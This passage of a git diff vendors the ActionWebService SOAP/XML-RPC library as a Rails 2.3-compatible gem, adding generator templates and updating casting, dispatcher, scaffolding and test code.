+<% for method_name in args -%>
+  api_method :<%= method_name %>
+<% end -%>
+end
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/controller.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/controller.rb
new file mode 100644
index 00000000..7b0a8657
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/controller.rb
@@ -0,0 +1,8 @@
+class <%= class_name %>Controller < ApplicationController
+  wsdl_service_name '<%= class_name %>'
+<% for method_name in args -%>
+
+  def <%= method_name %>
+  end
+<% end -%>
+end
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/functional_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/functional_test.rb
new file mode 100644
index 00000000..c4d136f8
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/functional_test.rb
@@ -0,0 +1,19 @@
+require File.dirname(__FILE__) + '<%= '/..' * class_nesting_depth %>/../test_helper'
+require '<%= file_path %>_controller'
+
+class <%= class_name %>Controller; def rescue_action(e) raise e end; end
+
+class <%= class_name %>ControllerApiTest < Test::Unit::TestCase
+  def setup
+    @controller = <%= class_name %>Controller.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+<% for method_name in args -%>
+
+  def test_<%= method_name %>
+    result = invoke :<%= method_name %>
+    assert_equal nil, result
+  end
+<% end -%>
+end
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/web_service_generator.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/web_service_generator.rb
new file mode 100644
index 00000000..7c47e5a2
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/web_service_generator.rb
@@ -0,0 +1,29 @@
+class WebServiceGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_path, "#{class_name}Api", "#{class_name}Controller", "#{class_name}ApiTest"
+
+      # API and test directories.
+      m.directory File.join('app/services', class_path)
+      m.directory File.join('app/controllers', class_path)
+      m.directory File.join('test/functional', class_path)
+
+      # API definition, controller, and functional test.
+      m.template 'api_definition.rb',
+                  File.join('app/services',
+                            class_path,
+                            "#{file_name}_api.rb")
+
+      m.template 'controller.rb',
+                  File.join('app/controllers',
+                            class_path,
+                            "#{file_name}_controller.rb")
+
+      m.template 'functional_test.rb',
+                  File.join('test/functional',
+                            class_path,
+                            "#{file_name}_api_test.rb")
+    end
+  end
+end
diff --git a/vendor/rails/actionwebservice/lib/action_web_service.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service.rb
similarity index 96%
rename from vendor/rails/actionwebservice/lib/action_web_service.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service.rb
index 0632dd1e..cf5d7d63 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service.rb
@@ -27,9 +27,9 @@ begin
   require 'active_record'
 rescue LoadError
   require 'rubygems'
-  gem 'activesupport', '>= 1.0.2'
-  gem 'actionpack', '>= 1.6.0'
-  gem 'activerecord', '>= 1.9.0'
+  gem 'activesupport', '>= 2.3.0'
+  gem 'actionpack', '>= 2.3.0'
+  gem 'activerecord', '>= 2.3.0'
 end
 
 $:.unshift(File.dirname(__FILE__) + "/action_web_service/vendor/")
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/api.rb
similarity index 99%
rename from vendor/rails/actionwebservice/lib/action_web_service/api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/api.rb
index d16dc420..da6c8711 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/api.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/api.rb
@@ -19,7 +19,7 @@ module ActionWebService # :nodoc:
 
       # By default only HTTP POST requests are processed
       class_inheritable_option :allowed_http_methods, [ :post ]
-      
+       
       # Whether to allow ActiveRecord::Base models in <tt>:expects</tt>.
       # The default is +false+; you should be aware of the security implications
       # of allowing this, and ensure that you don't allow remote callers to
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/base.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/base.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/base.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/base.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/casting.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/casting.rb
similarity index 88%
rename from vendor/rails/actionwebservice/lib/action_web_service/casting.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/casting.rb
index 71f422ea..652af76a 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/casting.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/casting.rb
@@ -99,7 +99,13 @@ module ActionWebService # :nodoc:
             BigDecimal(value.to_s)
           when :time
             value = "%s/%s/%s %s:%s:%s" % value.values_at(*%w[2 3 1 4 5 6]) if value.kind_of?(Hash)
-            value.kind_of?(Time) ? value : Time.parse(value.to_s)
+            if value.kind_of?(Time) 
+              value
+            elsif value.kind_of?(DateTime)
+              value.to_time
+            else
+              Time.parse(value.to_s)
+            end
           when :date
             value = "%s/%s/%s" % value.values_at(*%w[2 3 1]) if value.kind_of?(Hash)
             value.kind_of?(Date) ? value : Date.parse(value.to_s)
@@ -111,8 +117,13 @@ module ActionWebService # :nodoc:
 
         def cast_to_structured_type(value, signature_type) # :nodoc:
           obj = nil
-          obj = value if canonical_type(value.class) == canonical_type(signature_type.type)
-          obj ||= signature_type.type_class.new
+          # if the canonical classes are the same or if the given value is of 
+          # a type that is derived from the signature_type do not attempt to 
+          # "cast" the value into the signature_type as it's already good to go
+          obj = (
+            canonical_type(value.class) == canonical_type(signature_type.type) or 
+            derived_from?(signature_type.type, value.class)
+          ) ? value : signature_type.type_class.new
           if value.respond_to?(:each_pair)
             klass = signature_type.type_class
             value.each_pair do |name, val|
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/client.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/client.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/client/base.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/base.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/client/base.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/base.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/client/soap_client.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/soap_client.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/client/soap_client.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/soap_client.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/client/xmlrpc_client.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/xmlrpc_client.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/client/xmlrpc_client.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/client/xmlrpc_client.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/container.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/container.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/container/action_controller_container.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/action_controller_container.rb
similarity index 97%
rename from vendor/rails/actionwebservice/lib/action_web_service/container/action_controller_container.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/action_controller_container.rb
index bbc28083..fd07b925 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/container/action_controller_container.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/action_controller_container.rb
@@ -61,7 +61,7 @@ module ActionWebService # :nodoc:
             begin
               require_dependency(file_name)
             rescue LoadError => load_error
-              requiree = / -- (.*?)(\.rb)?$/.match(load_error).to_a[1]
+              requiree = / -- (.*?)(\.rb)?$/.match(load_error.to_s).to_a[1]
               msg = requiree == file_name ? "Missing API definition file in apis/#{file_name}.rb" : "Can't load file: #{requiree}"
               raise LoadError.new(msg).copy_blame!(load_error)
             end
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/container/delegated_container.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/delegated_container.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/container/delegated_container.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/delegated_container.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/container/direct_container.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/direct_container.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/container/direct_container.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/container/direct_container.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/dispatcher.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/dispatcher.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/dispatcher/abstract.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher/abstract.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/dispatcher/abstract.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher/abstract.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/dispatcher/action_controller_dispatcher.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher/action_controller_dispatcher.rb
similarity index 98%
rename from vendor/rails/actionwebservice/lib/action_web_service/dispatcher/action_controller_dispatcher.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher/action_controller_dispatcher.rb
index f9995197..160ed0ab 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/dispatcher/action_controller_dispatcher.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/dispatcher/action_controller_dispatcher.rb
@@ -101,7 +101,7 @@ module ActionWebService # :nodoc:
                 message = "Exception raised"
                 backtrace = ""
               end
-              render :text => "Internal protocol error: #{message}#{backtrace}", :status => 500
+              render :status => 500, :text => "Internal protocol error: #{message}#{backtrace}"
             end
           end
 
@@ -158,14 +158,14 @@ module ActionWebService # :nodoc:
               log_error(e) unless logger.nil?
             end
           when :post
-            render :text => 'POST not supported', :status => 500
+            render :status => 500, :text => 'POST not supported'
           end
         end
 
         private
           def base_uri
             host = request.host_with_port
-            relative_url_root = request.relative_url_root
+            relative_url_root = ::ActionController::Base.relative_url_root
             scheme = request.ssl? ? 'https' : 'http'
             '%s://%s%s/%s/' % [scheme, host, relative_url_root, self.class.controller_path]
           end
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/invocation.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/invocation.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/invocation.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/invocation.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol/abstract.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/abstract.rb
similarity index 94%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol/abstract.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/abstract.rb
index fff5f622..5c837bc8 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/protocol/abstract.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/abstract.rb
@@ -12,7 +12,7 @@ module ActionWebService # :nodoc:
 
       def encode_action_pack_request(service_name, public_method_name, raw_body, options={})
         klass = options[:request_class] || SimpleActionPackRequest
-        request = klass.new
+        request = klass.new({})
         request.request_parameters['action'] = service_name.to_s
         request.env['RAW_POST_DATA'] = raw_body
         request.env['REQUEST_METHOD'] = 'POST'
@@ -71,9 +71,9 @@ module ActionWebService # :nodoc:
       end
     end
 
-    class SimpleActionPackRequest < ActionController::AbstractRequest # :nodoc:
-      def initialize
-        @env = {}
+    class SimpleActionPackRequest < ActionController::Request # :nodoc:
+      def initialize(env = {})
+        @env = env
         @qparams = {}
         @rparams = {}
         @cookies = {}
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol/discovery.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/discovery.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol/discovery.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/discovery.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol/soap_protocol.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/soap_protocol.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol/soap_protocol.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/soap_protocol.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol/soap_protocol/marshaler.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/soap_protocol/marshaler.rb
similarity index 98%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol/soap_protocol/marshaler.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/soap_protocol/marshaler.rb
index 18733962..6a2f3d3e 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/protocol/soap_protocol/marshaler.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/soap_protocol/marshaler.rb
@@ -1,5 +1,12 @@
 require 'soap/mapping'
 
+# hack to improve the .Net interoperability
+class SOAP::Mapping::Object
+  def each_pair
+    self.__xmlele.each { |n, v| yield n.name, v.to_s }
+  end
+end
+
 module ActionWebService
   module Protocol
     module Soap
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/protocol/xmlrpc_protocol.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/xmlrpc_protocol.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/protocol/xmlrpc_protocol.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/protocol/xmlrpc_protocol.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/scaffolding.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/scaffolding.rb
similarity index 93%
rename from vendor/rails/actionwebservice/lib/action_web_service/scaffolding.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/scaffolding.rb
index f94a7ee9..60f73d21 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/scaffolding.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/scaffolding.rb
@@ -25,10 +25,10 @@ module ActionWebService
     #
     # If you want to customize the default views, create the following views in "app/views":
     #
-    # * <tt>action_name/methods.erb</tt>
-    # * <tt>action_name/parameters.erb</tt>
-    # * <tt>action_name/result.erb</tt>
-    # * <tt>action_name/layout.erb</tt>
+    # * <tt>action_name/methods.html.erb</tt>
+    # * <tt>action_name/parameters.html.erb</tt>
+    # * <tt>action_name/result.html.erb</tt>
+    # * <tt>action_name/layout.html.erb</tt>
     #
     # Where <tt>action_name</tt> is the name of the action you gave to ClassMethods#web_service_scaffold.
     #
@@ -69,7 +69,7 @@ module ActionWebService
                 post_params = params['method_params'] ? params['method_params'].dup : nil
                 params = []
                 @scaffold_method.expects.each_with_index do |spec, i|
-                  params << post_params[i.to_s]                                            
+                  params << post_params[i.to_s]
                 end if @scaffold_method.expects
                 params = @scaffold_method.cast_expects(params)
                 method_name = public_method_name(@scaffold_service.name, @scaffold_method.public_name)
@@ -87,7 +87,6 @@ module ActionWebService
                 @method_return_value = @scaffold_method.cast_returns(obj)
               end
               @method_elapsed = bm.real
-              add_instance_variables_to_assigns
               reset_invocation_response
               render_invocation_scaffold 'result'
             end
@@ -102,32 +101,31 @@ module ActionWebService
                 @scaffold_service = @scaffold_container.services.find{ |x| x.name == params['service'] }
                 @scaffold_method = @scaffold_service.api_methods[params['method']]
               end
-              add_instance_variables_to_assigns
             end
 
             def render_invocation_scaffold(action)
               customized_template = "\#{self.class.controller_path}/#{action_name}/\#{action}"
               default_template = scaffold_path(action)
-              if template_exists?(customized_template)
-                content = @template.render :file => customized_template
-              else
-                content = @template.render :file => default_template
+              begin
+                content = @template.render(:file => customized_template)
+              rescue ActionView::MissingTemplate
+                content = @template.render(:file => default_template)
               end
               @template.instance_variable_set("@content_for_layout", content)
               if self.active_layout.nil?
                 render :file => scaffold_path("layout")
               else
-                render :file => self.active_layout
+                render :file => self.active_layout, :use_full_path => true
               end
             end
 
             def scaffold_path(template_name)
-              File.dirname(__FILE__) + "/templates/scaffolds/" + template_name + ".erb"
+              File.dirname(__FILE__) + "/templates/scaffolds/" + template_name + ".html.erb"
             end
 
             def reset_invocation_response
               erase_render_results
-              response.headers = ::ActionController::AbstractResponse::DEFAULT_HEADERS.merge("cookie" => [])
+              response.instance_variable_set :@header, Rack::Utils::HeaderHash.new(::ActionController::Response::DEFAULT_HEADERS.merge("cookie" => []))
             end
 
             def public_method_name(service_name, method_name)
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/struct.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/struct.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/struct.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/struct.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/support/class_inheritable_options.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/support/class_inheritable_options.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/support/class_inheritable_options.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/support/class_inheritable_options.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/support/signature_types.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/support/signature_types.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/support/signature_types.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/support/signature_types.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/layout.erb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/layout.html.erb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/layout.erb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/layout.html.erb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/methods.erb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/methods.html.erb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/methods.erb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/methods.html.erb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/parameters.erb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/parameters.html.erb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/parameters.erb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/parameters.html.erb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/result.erb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/result.html.erb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/templates/scaffolds/result.erb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/templates/scaffolds/result.html.erb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/test_invoke.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/test_invoke.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/action_web_service/test_invoke.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/test_invoke.rb
diff --git a/vendor/rails/actionwebservice/lib/action_web_service/version.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/version.rb
similarity index 71%
rename from vendor/rails/actionwebservice/lib/action_web_service/version.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/version.rb
index a1b3d592..7a3fafa4 100644
--- a/vendor/rails/actionwebservice/lib/action_web_service/version.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/action_web_service/version.rb
@@ -1,8 +1,8 @@
 module ActionWebService
   module VERSION #:nodoc:
-    MAJOR = 1
-    MINOR = 2
-    TINY  = 5
+    MAJOR = 2
+    MINOR = 3
+    TINY  = 2
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/actionwebservice/lib/actionwebservice.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/lib/actionwebservice.rb
similarity index 100%
rename from vendor/rails/actionwebservice/lib/actionwebservice.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/lib/actionwebservice.rb
diff --git a/vendor/rails/actionwebservice/setup.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/setup.rb
similarity index 100%
rename from vendor/rails/actionwebservice/setup.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/setup.rb
diff --git a/vendor/rails/actionwebservice/test/abstract_client.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_client.rb
similarity index 99%
rename from vendor/rails/actionwebservice/test/abstract_client.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_client.rb
index 467c4e0d..ff958f64 100644
--- a/vendor/rails/actionwebservice/test/abstract_client.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_client.rb
@@ -164,7 +164,7 @@ module ClientTest
       @container = Container.new
       @clientlet = create_clientlet(@container)
       log = WEBrick::BasicLog.new(NullLogOut.new)
-      @server = WEBrick::HTTPServer.new(:Port => server_port, :Logger => log, :AccessLog => log)
+      @server = WEBrick::HTTPServer.new(:Port => server_port, :Logger => log, :AccessLog => [])
       @server.mount('/', @clientlet)
       @thr = Thread.new { @server.start }
       until @server.status == :Running; end
diff --git a/vendor/rails/actionwebservice/test/abstract_dispatcher.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_dispatcher.rb
similarity index 98%
rename from vendor/rails/actionwebservice/test/abstract_dispatcher.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_dispatcher.rb
index c15af417..dbb3580a 100644
--- a/vendor/rails/actionwebservice/test/abstract_dispatcher.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_dispatcher.rb
@@ -358,7 +358,7 @@ module DispatcherCommonTests
         response = ActionController::TestResponse.new
         controller.process(request, response)
         # puts response.body
-        assert(response.headers['Status'] =~ /^500/)
+        assert(response.status =~ /^500/)
       end
       send_garbage_request.call
       controller.class.web_service_exception_reporting = false
@@ -435,8 +435,6 @@ module DispatcherCommonTests
     assert_equal false, http_method_allowed?(:head)
     assert_equal false, http_method_allowed?(:put)
     assert_equal false, http_method_allowed?(:delete)
-    assert_equal false, http_method_allowed?(:trace)
-    assert_equal false, http_method_allowed?(:connect)
     assert_equal true,  http_method_allowed?(:post)
     
     # allow get and post
@@ -455,8 +453,6 @@ module DispatcherCommonTests
     assert_equal false, http_method_allowed?(:head)
     assert_equal false, http_method_allowed?(:post)
     assert_equal false, http_method_allowed?(:put)
-    assert_equal false, http_method_allowed?(:trace)
-    assert_equal false, http_method_allowed?(:connect)
     assert_equal true,  http_method_allowed?(:delete)
     
   ensure
@@ -542,7 +538,8 @@ module DispatcherCommonTests
     
     def http_method_allowed?(method)
       method = method.to_s.upcase
-      test_request = ActionController::TestRequest.new({ 'action' => 'api' })
+      test_request = ActionController::TestRequest.new
+      test_request.action = 'api'
       test_response = ActionController::TestResponse.new
       test_request.env['REQUEST_METHOD'] = method
       result = @direct_controller.process(test_request, test_response)
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_unit.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_unit.rb
new file mode 100644
index 00000000..69468e9c
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/abstract_unit.rb
@@ -0,0 +1,39 @@
+$: << "#{File.dirname(__FILE__)}/../lib"
+ENV["RAILS_ENV"] = "test"
+require 'rubygems'
+require 'test/unit'
+require 'action_web_service'
+require 'action_controller'
+require 'action_controller/test_case'
+require 'action_view'
+require 'action_view/test_case'
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+
+ActiveRecord::Base.logger = ActionController::Base.logger = Logger.new("debug.log")
+
+begin
+  require 'activerecord'
+  require "active_record/test_case"
+  require "active_record/fixtures" unless Object.const_defined?(:Fixtures)
+rescue LoadError => e
+  fail "\nFailed to load activerecord: #{e}"
+end
+
+ActiveRecord::Base.configurations = {
+  'mysql' => {
+    :adapter  => "mysql",
+    :username => "root",
+    :encoding => "utf8",
+    :database => "actionwebservice_unittest"
+  }
+}
+
+ActiveRecord::Base.establish_connection 'mysql'
+
+class ActiveSupport::TestCase
+  include ActiveRecord::TestFixtures
+  self.fixture_path = "#{File.dirname(__FILE__)}/fixtures/"
+end
diff --git a/vendor/rails/actionwebservice/test/api_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/api_test.rb
similarity index 99%
rename from vendor/rails/actionwebservice/test/api_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/api_test.rb
index 0e58d848..0be672c8 100644
--- a/vendor/rails/actionwebservice/test/api_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/api_test.rb
@@ -12,7 +12,7 @@ module APITest
   end
 end
 
-class TC_API < Test::Unit::TestCase
+class TC_API < ActiveSupport::TestCase
   API = APITest::API
 
   def test_api_method_declaration
diff --git a/vendor/rails/actionwebservice/test/apis/auto_load_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/apis/auto_load_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/apis/auto_load_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/apis/auto_load_api.rb
diff --git a/vendor/rails/actionwebservice/test/apis/broken_auto_load_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/apis/broken_auto_load_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/apis/broken_auto_load_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/apis/broken_auto_load_api.rb
diff --git a/vendor/rails/actionwebservice/test/base_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/base_test.rb
similarity index 95%
rename from vendor/rails/actionwebservice/test/base_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/base_test.rb
index 55a112a0..06aa33ea 100644
--- a/vendor/rails/actionwebservice/test/base_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/base_test.rb
@@ -34,7 +34,7 @@ module BaseTest
   end
 end
 
-class TC_Base < Test::Unit::TestCase
+class TC_Base < ActiveSupport::TestCase
   def test_options
     assert(BaseTest::PristineService.web_service_api.inflect_names == false)
     assert(BaseTest::Service.web_service_api.inflect_names == true)
diff --git a/vendor/rails/actionwebservice/test/casting_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/casting_test.rb
similarity index 93%
rename from vendor/rails/actionwebservice/test/casting_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/casting_test.rb
index 34bad07d..93ca383f 100644
--- a/vendor/rails/actionwebservice/test/casting_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/casting_test.rb
@@ -1,6 +1,8 @@
 require File.dirname(__FILE__) + '/abstract_unit'
 
 module CastingTest
+  class A < ActionWebService::Struct; end
+  class B < A; end
   class API < ActionWebService::API::Base
     api_method :int,       :expects => [:int]
     api_method :str,       :expects => [:string]
@@ -14,6 +16,8 @@ module CastingTest
     api_method :int_array,   :expects => [[:int]]
     api_method :str_array,   :expects => [[:string]]
